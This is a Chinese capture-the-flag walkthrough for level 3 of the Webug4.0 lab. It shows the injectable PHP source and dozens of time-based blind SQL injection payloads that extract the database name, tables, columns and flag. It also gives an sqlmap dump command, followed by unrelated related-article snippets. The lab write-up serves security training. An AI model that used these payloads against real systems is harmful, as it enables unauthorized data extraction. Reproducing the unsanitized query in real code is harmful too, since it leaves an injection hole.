Webug4.0靶场通关笔记03- 第3关SQL注入之时间盲注(手注法+脚本法 两种方法)

目录

一、源码分析

1.分析闭合

2.分析输出

(1)查询成功

(2)查询失败

(3)SQL语句执行报错

二、第03关 延时注入

1.打开靶场

2.SQL手注

(1)盲注分析

(2)获取数据库长度

(3)获取数据库名称

(4)获取数据库中表名的数量

(5)获取当前数据库的表名长度

(6)获取当前数据库的表名

(7)获取env_list表的列名

(8)获取env_list的所有字段

3.sqlmap渗透

(1)bp抓包保存

(2)sqlmap注入

(3)获取flag

三、总结


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第3关时间盲注的渗透实战,该关卡源码与第02关一致,只是渗透方法由布尔盲注改为时间盲注。

一、源码分析

打开靶场,会发现第02关和第03关的源码相同,均使用bool_injection.php文件

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["id"])) {if (!empty($_GET["id"])) {$sql = "SELECT * FROM sqlinjection WHERE id = '{$_GET['id']}'";$res = $dbConnect->query($sql);}
}
require_once TPMELATE."/bool-injection_1.html";

1.分析闭合

SQL语句如下所示,使用单引号闭合参数id。

SELECT * FROM sqlinjection WHERE id = '{$_GET['id']}'

2.分析输出

相对于第01关,区别就是这一关卡对于SQL查询错误的情况没有进行输出报错信息。

(1)查询成功

这种情况查到了的话,输出实际内容, 当参数id=2时,如下所示显示hello。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=2

 尝试万能注入,如下所示。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1' or 1=1#

(2)查询失败

没查到的话,无报错,显示如下。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1

(3)SQL语句执行报错

比如说加上单引号等信息,此时SQL语句错误,却也输出同样的内容。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1'

综上所述,此注入为不属于严格意义的布尔型注入(虽然错误时无报错,但是正确时却又多种输出),同时仍然可以使用UNION法进行渗透,故而本关卡属于名不副实,不算是布尔注入。

二、第03关 延时注入

1.打开靶场

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1

2.SQL手注

(1)盲注分析

由于SQL查询失败和SQL语句执行有误的打印信息相同,这部分存在时间盲注风险。构造注入命令如下所示。

id=1' and if(length(database())>1,sleep(3),1) %23

注入语句如下所示。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1' and if(length(database())>1,sleep(3),1) %23

如下响应时间大于3秒,存在SQL注入风险。

(2)获取数据库长度

判断数据库的长度的注入命令如下所示,

id=1' and if(length(database())=1,sleep(3),1)%23
id=1' and if(length(database())=2,sleep(3),1)%23
id=1' and if(length(database())=3,sleep(3),1)%23
id=1' and if(length(database())=4,sleep(3),1)%23
id=1' and if(length(database())=5,sleep(3),1)%23#成功

如下所示,获取到数据库长度为5

(3)获取数据库名称

id=1' and if(substr((select database()),1,1)='w',sleep(5),1)%23
id=1' and if(substr((select database()),2,1)='e',sleep(5),1)%23
id=1' and if(substr((select database()),3,1)='b',sleep(5),1)%23
id=1' and if(substr((select database()),4,1)='u',sleep(5),1)%23
id=1' and if(substr((select database()),5,1)='g',sleep(5),1)%23

如下所示,渗透获取数据库的名称为webug

 (4)获取数据库中表名的数量

id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=3,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(5),1)%23

 基于此,获取到共有7个表格。

(5)获取当前数据库的表名长度

时间注入命令如下所示。

id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=2,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=3,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=4,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=5,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=6,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=7,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=8,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=9,sleep(5),1)%23

如下所示,第一个表格长度为9。 

 爆出数据库第2个表格长度。

id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=1,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=2,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=3,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=4,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=5,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=6,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=7,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=8,sleep(5),1)%23 #成功

如上所示第2个表格长度为8,可以求的websec数据库的每个表长度,分别9、8、8、4·、12、4、9 。

(6)获取当前数据库的表名

第一个表格的名字,如下所示为data_crud。

id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='d',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='a',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))='t',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=a',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))='_',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))='c',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))='r',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))='u',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))='d',sleep(5),1)%23

第二个表名为env_list,注入命令如下所示。

id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='e',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))='n',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))='v',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))='_',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))='l',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1))='i',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),7,1))='s',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),8,1))='t',sleep(5),1)%23

 

以此类推,所有表名分别为data_crud,env_list,env_path,flag,sqlinjection,user,user_test 。

(7)获取env_list表的列名

 如下所示,列长度为2。

id=1' and if((select length(column_name) from information_schema.COLUMNS where TABLE_NAME='env_list' limit 0,1) =1,sleep(5),1)%23
id=1' and if((select length(column_name) from information_schema.COLUMNS where TABLE_NAME='env_list' limit 0,1) =2,sleep(5),1)%23

第一列的列名注入命令如下所示。

id=1' and if(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='env_list' limit 0,1),1,1)='i',sleep(5),1)%23
id=1' and if(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='env_list' limit 0,1),2,1)='d',sleep(5),1)%23

如下可知第1列的列名为id,如下所示。

以此类推,可以获取所有列的名称,分别为id, envName, envDesc, envIntegration, delFlag, envFlag, level, type。

(8)获取env_list的所有字段

 如下获取env_list表flag列的第一个字段,如下所示为dfafdasfafdsadfa。

id=1' and if((substr((select flag from flag limit 0,1),1,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),2,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),3,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),4,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),5,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),6,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),7,1))='s',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),8,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),9,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),10,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),11,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),12,1))='s',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),13,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),14,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),15,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),16,1))='a',sleep(5),1)%23

时间注入相对耗时,建议使用bp半自动化或者sqlmap或者python脚本进行注入,如下所示,最后获取到的flag信息如下所示。

第三关的flag为gfdgdfsdg。

3.sqlmap渗透

(1)bp抓包保存

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1

bp抓包并将报文保存为webug02.txt。

(2)sqlmap注入

由于第03关与第02关源码一样,故而可以这里使用webug02.txt进行注入,完整交互如下

为了区分,这里可以加上--tech T命令。

 sqlmap -r webug02.txt --current-db --batch --tech T -D webug  -T env_list --dump

找到SQL盲注点,效果如下所示。

(3)获取flag

如下所示,flag为gfdgdfsdg,渗透成功。

获取的flag如下所示。

Flag: gfdgdfsdg

实际上时间注入非常慢且耗时过久,建议可以通过较快的方法实现注入就不要用时间盲注法,这里只是使用--current-db 参数获取数据库即可。

三、总结

SQL注入主要分析几个内容。

(1)闭合方式是什么?webug靶场的第02关关卡为字符型,闭合方式为单引号。

(2)注入类别是什么?这部分是普通的字符型GET注入,可以使用时间型盲注,使用union法即可注入成功,也可以使用相对复杂的布尔注入方法。

(3)是否过滤了关键字?很明显通过源码,iwebsec的第02关和第03关卡没有进行任何过滤。

了解了如上信息就可以针对性使用SQL注入法进行渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的webug靶场第03关注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。不过能用简单的方法注入成功,都不建议使用复杂的方法进行注入啊,否则是真的费时费力啊。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/pingmian/82813.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【大模型学习网络互联】Memory-Mapped I/O MMIO语义与MEM语义

MMIO语义和MEM语义的区别 嗯&#xff0c;用户要求更详细地区分MMIO和MEM语义&#xff0c;看来之前的中文对比虽然系统但还不够深入。用户可能是嵌入式开发者或OS内核学习者&#xff0c;需要从硬件行为层面理解差异。 用户连续追问MMIO相关概念&#xff0c;说明ta在接触底层开发…

如何在使用kickstart安装物理机操作系统的过程中核对服务器的SN

原因 在使用kickstart对物理机进行重装的时候&#xff0c;由于自动化配置&#xff0c;挂载镜像重启之后就会自动化开始安装部署&#xff0c;不够安全&#xff0c;万一选错服务器没有办法回退。因此可以在kickstart的ks配置文件中新增服务器SN的校验&#xff0c;当校验不通过的…

spring4第4课-ioc控制反转-详解如何注入参数

坚持住&#xff0c;第四天&#xff0c;继续学习spring4.详解如何注入参数 先总结&#xff0c;主要有如下6种&#xff1a; 1&#xff0c;基本类型值&#xff1b; 2&#xff0c;注入 bean&#xff1b; 3&#xff0c;内部 bean&#xff1b; 4&#xff0c;null 值&#xff1b; 5&…

cf2067A

原题链接&#xff1a;https://codeforces.com/contest/2067/problem/A 题目背景&#xff1a; 给定x,y&#xff0c;判读是否存在 n 满足S(n) x&#xff0c;S(n 1) y。定义 S(a) 等于 a 的十进制位数之和。 思路&#xff1a; 不难发现一般 n 和 n 1 的位数之和相差为 1&…

微信小程序获取手机号

详细代码 <t-button size"large" theme"primary" variant"outline" data-type"hasCancelBtn" bind:tap"showDialog" block style"display: none;">开放能力按钮 </t-button> <t-dialog id"t-…

AI重构SEO关键词精准定位

内容概要 随着AI技术深度渗透数字营销领域&#xff0c;传统SEO关键词定位模式正经历系统性重构。基于自然语言处理&#xff08;NLP&#xff09;的智能语义分析引擎&#xff0c;可突破传统关键词工具的局限性&#xff0c;通过解析长尾搜索词中的隐含意图与语境关联&#xff0c;…

四足机器人环境监测系统相关问题

一、在设计四足机器人监测与跟踪系统整体架构时&#xff0c;你主要考虑了哪些因素&#xff1f;为什么这样设计以确保系统的高效性与稳定性&#xff1f; 在设计四足机器人监测与跟踪系统整体架构时&#xff0c;主要考虑了传感器兼容性与通信效率、多任务并发处理能力、实时数据…

uniapp 开发安卓app 微信授权获取昵称 头像登录

在manifest.json中配置appid 以及appsecret uni.login({provider: weixin,success: function (loginRes) {console.log(loginRes.authResult);// 获取用户信息uni.getUserInfo({provider: weixin,success: function (infoRes) {console.log(用户昵称为&#xff1a; infoRes.u…

MySQL8.4组复制

https://dev.mysql.com/doc/refman/8.4/en/group-replication.html 1 什么是组复制 组复制主要解决了传统异步复制主机宕机时可能造成主从节点数据不一致问题MySQL Group Replication&#xff0c;简称MGR将原有的gtid复制功能进行可增强&#xff0c;支持单主模式和多主模式组复…

Python后端开发实战:从0到1搭建高可用API服务

引言 Python凭借其简洁的语法和丰富的生态(如Django、Flask、FastAPI等框架),已成为后端开发的主流语言之一。本文将结合一个真实电商API项目,分享从架构设计到部署上线的完整流程,并总结开发过程中常见的坑与最佳实践。 一、实战案例:电商API开发流程 1.1 技术选型 框…

本地部署大模型llm+RAG向量检索问答系统 deepseek chatgpt

项目视频讲解: 本地部署大模型llm+RAG向量检索问答系统 deepseek chatgpt_哔哩哔哩_bilibili 运行结果:

aws instance store 的恢复

1: aws instance store 要在launch instance 才可以创建,而且,通过snapshot 恢复后,instance store 里面的数据会丢失。 下面是创建instance store 的过程,和通过两种方式恢复,发现/etc/fstab 不同的写法,有的不能启动: [root@ip-xx ~]# lsblk NAME MAJ:MIN RM …

React 生命周期与 Hook 理解解析

从生命周期到 Hook&#xff1a;React 组件演进之路 React 组件的本质是管理渲染与副作用的统一体。Class 组件通过生命周期方法实现这一目标&#xff0c;而函数组件则依靠 Hook 系统达成相同效果。 Class 组件生命周期详解 生命周期完整流程 Class 组件生命周期可分为三大阶…

数字孪生技术赋能西门子安贝格工厂:全球智能制造标杆的数字化重构实践

在工业4.0浪潮席卷全球制造业的当下&#xff0c;西门子安贝格电子制造工厂&#xff08;Electronic Works Amberg, EWA&#xff09;凭借数字孪生技术的深度应用&#xff0c;构建起全球制造业数字化转型的典范。这座位于德国巴伐利亚州的“未来工厂”&#xff0c;通过虚实融合的数…

从Homebrew找到openssl.cnf文件并拷贝到Go项目下使用

安装OpenSSL 在 macOS 上下载和安装 OpenSSL 最常见和推荐的方式是使用 Homebrew&#xff0c;这是一个 macOS 缺失的包管理器。 如果您还没有安装 Homebrew&#xff0c;请先安装它。安装 Homebrew 后&#xff0c;安装 OpenSSL 只需要一条命令。 步骤 1&#xff1a;安装 Home…

Qt 的简单示例 -- 地址簿

这个工程里有两个窗口&#xff0c;都是QWidget派生的窗口 主窗口&#xff1a; 1. 运用了布局&#xff0c;按钮控件&#xff0c;单行编辑框&#xff0c;富文本编辑框等窗口部件&#xff1b; 2. 运用了 QMap 类&#xff1b; 3. 实现了点击按钮弹出子窗口的功能&#xff0c;这里子…

kubernate解决 “cni0“ already has an IP address different from 10.244.0.1/24问题

问题 NetworkPlugin cni failed to set up pod “coredns-5d4b4db-jkmnl_kube-system” network: failed to set bridge addr: “cni0” already has an IP address different from 10.244.0.1/24 解决方案 这个问题通常是由于Flannel网络插件残留配置导致的IP地址冲突。以下…

QT+opecv如何更改图片的拍摄路径

如何更改相机拍摄图片的路径 前言&#xff1a;基础夯实&#xff1a;效果展示&#xff1a;实现功能&#xff1a;遇到问题&#xff1a;未解决&#xff1a; 核心代码&#xff1a; 前言&#xff1a; 最近在项目开发中遇到需要让用户更改相机拍摄路径的问题&#xff0c;用户可自己选…

66常用控件_QTableWidget的使用

目录 代码示例:使用QTableWidget Table Widget 使⽤ QTableWidget 表⽰⼀个表格控件. ⼀个表格中包含若⼲⾏, 每⼀⾏⼜包含若⼲列. 表格中的每个单元格, 是⼀个 QTableWidgetItem 对象. QTableWidget 核⼼⽅法 方法说明item(int row, int column)根据行数数列获取指定的…

记一次edu未授权访问漏洞

首先进入该网址是一个登录界面&#xff0c;查看源代码&#xff0c;找到js文件&#xff0c;发现存在js.map前端信息泄露&#xff0c;于是我们进行js还原。 得到前端的一些源代码&#xff0c;以及路由API等&#xff0c;我们就可以通过这个源代码&#xff0c;进行目录遍历&#xf…